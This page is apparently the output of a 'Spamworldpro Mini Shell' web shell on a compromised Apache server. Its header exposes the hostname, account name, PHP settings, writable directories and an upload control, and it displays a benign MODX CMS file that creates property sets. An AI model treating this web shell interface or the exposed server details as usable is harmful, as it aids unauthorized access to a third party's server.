Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux indy02.toastserver.com 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64
User : palandch ( 1163)
PHP Version : 7.1.33
Disable Function : NONE
Directory :  /home/palandch/www/core/model/modx/processors/element/propertyset/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/palandch/www/core/model/modx/processors/element/propertyset/create.class.php
<?php
/**
 * Creates a property set
 *
 * @package modx
 * @subpackage processors.element.propertyset
 */
class modPropertySetCreateProcessor extends modObjectCreateProcessor {
    public $classKey = 'modPropertySet';
    public $languageTopics = array('propertyset');
    public $permission = 'new_propertyset';
    public $objectType = 'propertyset';

    public function beforeSet() {
        $name = $this->getProperty('name');
        if ($this->doesAlreadyExist(array(
            'name' => $name,
        ))) {
            $this->addFieldError('name',$this->modx->lexicon('propertyset_err_ns_name'));
        }
        return parent::beforeSet();
    }

    public function beforeSave() {
        /* set category if specified */
        $category = $this->getProperty('category',null);
        if (!empty($category)) {
            /** @var modCategory $category */
            $category = $this->modx->getObject('modCategory',$category);
            if (empty($category)) {
                $this->addFieldError('category',$this->modx->lexicon('category_err_nf'));
            } else {
                $this->object->set('category',$category->get('id'));
            }
        }
        $this->stripInvalidCharacters();
        return parent::beforeSave();
    }

    public function stripInvalidCharacters() {
        $invalidCharacters = array('!','@','?','`','&','&amp;');
        $name = $this->object->get('name');
        $name = str_replace($invalidCharacters,'',$name);
        $this->object->set('name',$name);
    }
}
return 'modPropertySetCreateProcessor';

Spamworldpro Mini